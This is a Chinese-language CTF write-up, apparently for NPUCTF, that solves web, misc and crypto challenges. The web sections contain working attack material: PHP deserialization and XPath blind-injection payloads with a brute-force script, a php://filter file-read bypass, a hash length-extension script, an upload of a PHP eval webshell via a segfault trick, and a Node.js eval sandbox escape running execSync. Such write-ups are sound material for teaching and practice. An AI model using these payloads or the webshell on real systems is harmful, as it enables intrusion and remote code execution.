web

查源码

如题

RealEzPHP

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

反序列化
$b($a)=>$b是个函数名
flag在phpinfo里
不过s:0:””;是不行的

1
O:8:"HelloPhp":2:{s:1:"a";s:2:"-1";s:1:"b";s:7:"phpinfo";}

ezlogin

前导知识

抓包信息发现xml请求=>1.xxe 2.xpath盲注
XPath注入指北
xpath注入详解

查询语句:
$query = “/root/users/user[username/text()=’”.$name.”‘ and password/text()=’”.$pwd.”‘]”;

1.万能密码:

1
2
$name => admin' or '1
$pwd =>

2.盲注

判断根节点数量:

1
$name=>' or count(/)=1 or '1

count(/)=n若返回正常,则代表有n个根节点

获取名字长度:

1
$name=>' or string-length(name(/*[1]))=n or '1

若返回正常,则第一个根节点名长度为n

获取内容:

1
$name=>'or substring(name(/*[1]),1,1)='a' or '1

逐个字符遍历第一个根节点名字的第一个字符 range(‘a’,’z’)
当返回正常时可确定其字符

题目

用户名输入 ‘or count(/)=n or ‘1测试是否能注入,n从1开始取
取1时显示非法操作,取2显示用户名或密码错误,存在注入
脚本来自NPUCTF ezlogin

re.findall(pattern, string, flags=0)
返回string中所有与pattern相匹配的全部字串,返回形式为数组

登录界面需要保存session,否则会返回”请登录”信息,无法登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import re
sess = requests.session()
strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'
headers = {'Content-Type':'application/xml'}
param='<input type="hidden" id="token" value="(.*?)" />'
#token会过期变化,所以用正则匹配任意token
t=''
for i in range(1,50):
for s in strs:
url='http://ha1cyon-ctf.fun:30015/login.php'
token=re.findall(param,sess.get(url).text)[0]

#str(i)代表第n个pos,pwd随意取值
#第一个根节点为root
#data="<username>' or substring(name(/*[1]), '"+str(i)+"', 1)='"+str(s)+"' or '1</username><password>123</password><token>"+token+"</token>"

#第二个节点为accounts
#data = "<username>' or substring(name(/root/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"

#第三个节点为user
#data = "<username>' or substring(name(/root/accounts/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"

#遍历[1][2][3],在user节点下得到id,username,password
#name(/root/accounts/user/*[1])
#name(/root/accounts/user/*[2])
#name(/root/accounts/user/*[3])
#data = "<username>' or substring(name(/root/accounts/user/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"

#之后取user下的子节点username(user[1]),得到 gtfly123
#取第二个子节点user[2]结果是adm1n
#data = "<username>' or substring(/root/accounts/user[1]/username/text(), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"

#求adm1n的密码
#data = "<username>' or substring(/root/accounts/user[2]/password/text(), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
res=sess.post(url=url,headers=headers,data=data)
if '非法操作' in res.text:
t+=s
print(t)
break

格式为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<root>
<accounts>
<user>
<id></id>
<username>gtfly123</username>
<password>xxxxxxxxxx</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>xxxxxxxxx</password>
</user>
</accounts>
</root>

md5解密后登录后台,文件包含可用大小写绕过

1
/admin.php?file=PhP://filter/Read=convert.basE64-encode/resource=/flag

ezinclude

hash拓展攻击,借助hashpump工具HashPump
example:

1
2
3
4
5
input:hashpump -s '6d5f807e23db210bc254a28be2d6759a0f5f5d99' --data 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' -a '&waffle=liege' -k 14

output:
0e41270260895979317fff3898ab85668953aaa2
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege

这题好像当时给了两个hint说是喜欢放假flag?

可以联想到hash拓展攻击
在cookie里可以获取到hash值
但是没有提供密钥长度所以需要脚本爆破

1
2
3
4
5
6
7
8
import os
import requests
for i in range(1,12):
data=os.popen('hashpump -s de73312423b835b22bfdc3c6da7b63e9 -d admin -k '+str(i)+' -a admin').read()
name=data.split('\n')[0]
password=data.split('\n')[1].replace('\\x','%') #urlencode
result=requests.get('http://192.168.0.166/index.php?name='+password+'&pass='+name).text
print(result)

👆官方写的脚本,不过复现的时候失败了

官方应该是想借助原本不传值时的hash值来求出$name的值
不过直接传name的值然后得到对应的$pass也可以0.0
又感觉到思维的限制了
得到flflflflag.php
进入后有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>

<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>

<body>
include($_GET["file"])</body>

</html>

在请求头里可以看见php的版本是7.0.33
文件包含的一些getshell姿势
LFI via SegmentFault-王一航
自包含,php7segment fault相关

这里要说的是在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php7 segment fault,如果同时上传了一个文件,那么这个tmp file就会一直留在tmp目录(<php7.2),再进行文件名爆破就可以getshell
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

1
2
3
4
5
6
7
8
9
10
import requests
import re
file_data={
'file': "<?php eval($_POST[1]);"
}
url="http://049de990-93c0-48da-85ac-5a028644acd9.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(1)

官方说的是访问http://192.168.0.128:8105/dir.php
就可以得到临时文件名
但是不能用扫描器也没有hint,dir.php哪来的
http://049de990-93c0-48da-85ac-5a028644acd9.node3.buuoj.cn/flflflflag.php?file=/tmp/phpFqq1b1&1=phpinfo();
flag在phpinfo();里
所以👆直接访问就好

验证🐎

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

出现

app.use(bodyParser.json());接收json请求
json绕过
首先要满足
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])

1
"first":{"length":"1"},"second":{"length":"1"}

设定first与second的length值相等,本质上first和second在此时是不同的两个对象(地址不同)
而对于md5的相等,与string相加时会强制转换为string,而first与second的string值是相同的
之后尝试绕过

1
2
3
4
5
6
function saferEval(str) { //e
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}

stringObject.replace(regexp/substr,replacement)
如果 regexp 具有全局标志 g,那么 replace() 方法将替换所有匹配的子串。否则,它只替换第一个匹配子串
对于

1
(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)|

\w+匹配数字和字母下划线的多个字符
通过原型链实现RCE
无法直接输入字符串,Math.__proto__无法直接利用
Arrow function expressions

1
2
3
s = f"return process.mainModule.require('child_process').execSync('cat /flag').toString()"
a=','.join([str(ord(i)) for i in s])
print(a)

payload:

1
{"e":"(Math=>(Math=Math.constructor,Math=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)","first":{"length":"1"},"second":{"length":"1"}}

Math+1=>Math+字符串得到一个string类型的对象(不能直接输入字符串)

misc

抽象带师

翻译成地球人文字即可

crypto

这是什么觅🐎


小字:F1 W1 S22 S21 T12 S11 W1 S13
S和T都是两位数其他都是一位数,日历表上以T,S开头的星期也正好有两个,所以猜测这个会与星期所关联

日历密码
根据👆即可解出calendar

Classical Cipher

题目

1
2
3
压缩包密码:gsv_pvb_rh_zgyzhs

对应明文: ***_key_**_******

已知部分明文和全部密文求全部明文
‘p’-‘a’+’k’-‘a’=25(对应关系)

猪圈密码+非斯的象形文字=>
原来猪圈密码是变形版的